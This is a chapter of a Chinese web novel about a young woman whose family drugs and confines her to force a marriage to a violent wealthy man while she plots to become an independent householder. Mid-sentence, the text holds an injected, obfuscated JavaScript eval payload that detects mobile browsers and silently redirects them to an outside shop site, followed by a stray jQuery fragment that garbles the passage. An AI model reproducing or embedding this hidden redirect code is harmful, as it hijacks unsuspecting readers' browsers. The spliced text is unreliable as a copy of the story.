“啪!”
“啪!”
杨念薇脸上结结实实挨了两巴掌,火辣辣的痛感袭来。
又一盆冷水兜头兜面浇在她身上。
这下她彻底醒了,抬眼看去。
横眉怒目的妇人对着她冷笑:“花轿两个时辰后来接人。出了这个门,你就不再是杨家人了。大姐,你不用瞪着我,该感激我,公婆也不用因为你拖大年纪不出嫁丢了面子。”
说话的是杨念薇的弟媳玉倩。
杨念薇试图挣扎,动弹不得。前天,她被灌下迷药,关在房间里,直到今天出嫁。
这个家早就容不得她了!
“嫁给刘员外吃香喝辣的,到时候你可别忘了娘家人。”她晃了晃手里的荷包,“枕头底下这些,我先替大姐收着了。”
呸!刘员外妻妾成群,上个月才打死一个小妾,落在他手里能有什么好下场!家里人收了刘员外的钱,不顾她死活,要推她入火坑。
危急关头,她只能忍住恶心,跟玉倩交易:“你不就是想要我的钱吗?给你,都给你,只要你放我走。”
那些钱是杨念薇这些年制伞、卖伞攒下的,就盼着哪一天能去栎阳县置下一处小屋子,自立女户,如今竟要用来买自由身。
玉倩冷哼一声,“大姐,早知今日,何必当初呢?我嫁进来时那么穷酸,彩礼都没多少,娘家姊妹们都在背后笑话我。”她狠狠用手指着杨念薇,“你杨念薇没有一点做长女的风范!弟弟娶媳妇一毛不拔,还赖在娘家。你知道不知道,把你嫁给刘员外,公婆多感激我。”
看着玉倩手中的钱袋子,杨念薇后槽牙都要咬碎了,那是她没日没夜做小生意攒下的,就这么落在她手里了!这群贪婪的人还要把她嫁给恶名昭著的刘员外,榨干她最后一点价值。
“去你的长女!”杨念薇拼着力气,一头撞向玉倩。
玉倩将身一闪,看着失去重心倒在地上的杨念薇张嘴大笑。
“别折腾了,我去叫婆婆给你换衣服梳头,准备上花轿吧。”
弟媳玉倩自嫁进来就没给她好脸色看,时常对着她破口大骂。杨念薇一向与人为善,实在搞不清楚弟弟怎么娶了这么一个母老虎?
后来知道了,弟媳是嫌彩礼少,没面子。怎么这笔账算在了她头上?没道理可讲,杨家父母惫懒,没给儿女攒下多少钱财,到儿子娶媳妇时便怨女儿不出嫁,怨生女儿没用,没给家里带来好处。弟媳刚入门,不敢怪罪公婆,只能把账记在她这个还不出嫁的大姑子身上。
“养你那么大没点回报。你看别的女儿如何回报父母,你看你……”杨家父母是那么抱怨她的。
弟媳进门后,从小一起长大的弟弟也变了态度。
“小时候爹带你去山上丢掉,你怎么就没死在山上呢!怎么有你这样的大姐,别家的大姐都会为自家弟弟着想,你倒好只顾着自己……”
******
杨念薇所处的大慎王朝,女子的处境离自由非常遥远。
按照《大慎刑统》卷十二《户婚律》,女子从属于家庭,在家从父,出嫁从夫,夫死从子,即使有独立的财产也不能自立门户,成为独立户主。
曾有个案子,一个叫方萍的女子,获得了一些田产,想以自己的名义立户。结果官府说法律不允许女性单独建户,最后把她的田产挂在了父亲的名下,让她父亲充当户主。也就是说,女子有钱也不能做独立户主。
丈夫去世又无子的女人是例外,《大慎刑统》规定丧夫无子的女人可以自立女户。
杨念薇自从听说这条法例后,心中便有了谋划。
她是屠户之女,能找到的结亲对象不外是邻近几个村在田地上谋生的青壮年,一成亲,生儿育女,多年媳妇熬成婆,一辈子在家长里短里搓磨。
杨念薇知道自己不想过这种生活。如果能够选择,她也希望能过上自由的日子,有自己的房产,自由支配钱财。
为此,她的计划是拼命攒钱,购置田地宅院,再找让后土娘娘庙的何大娘帮忙找父母亲族都不在世的亡人办冥婚,这样就能拿下女户资格。
杨母推门进来的时候,杨念薇还躺在地上,眼角淌泪。
杨念薇在杨母的搀扶下坐起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940410|213902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,紧紧绑在身上的麻绳被解开。杨母瞥见杨念薇冰冷的眼神,心里说不出的厌恶。自小这丫头就跟养不熟的白眼狼似的,一点也不乖巧。
“你也别怪爹娘。刘员外年纪是大了些,家里有钱,也算是你的一个归宿。早几年你还好嫁,二十大几的年纪了,别挑了。”
杨念薇早寒了心,听到杨母这么说话,忍不住哭出声来。
“阿娘,我也是你身上掉下来的一块肉,你怎么从来不知道心疼我呀!我嫁过去能过什么样的日子你想不到吗?你们不就是要我孝顺?以后我挣的钱都给你们,不要把我卖给刘员外……”
“卖什么?你别说得那么难听。是嫁。嫁出去的女儿泼出去的水。”
杨母拿毛巾在铜盆里浸了浸,绞干净水,往她脸上擦。“别哭!你看看跟你一起长大的姑娘们,哪个不是嫁了人,跟男人好好过日子,偏偏你是个孽障,满脑子不正常的想法。”
杨念薇止住了哭声。都说母子连心,以为痛哭一场,杨母能心软放过她。不能更明白了,不心疼你的人怎么都不会为你着想。
“呵,阿莲三天回门就闹着不回夫家,脸上被打得瘀青半月都消不下去。”
“春红那男人天天游手好闲不回家,春红起早贪黑卖面条,好不容易存点钱全给他拿去逛窑子,害得春红年纪轻轻累出一身病。”
“还有,小慧生孩子没了命,没过仨月,她男人就另娶了一个。”
“阿娘,你也是女人,这些姑娘有一个嫁了人过得不苦的吗?”
……
这些事杨念薇不是第一次在杨母面前提,以往杨母还会骂她“大逆不道”,现在要赶着送她出门,只横了她一眼,也不说话。
杨念薇也不说话了,闭上眼睛,任凭杨母那双手在她脸上、头上、身上涂抹拉扯。
她想,世上像她一样倒霉无望的女子还有很多吧。这些女子都是怎么让自己脱困的呢?此时能帮她的只有天后庙的何大娘。她说过后土娘娘庙永远为她遮风避雨。
可是何大娘不知道她被囚禁在家里,马上就要送去刘员外家了。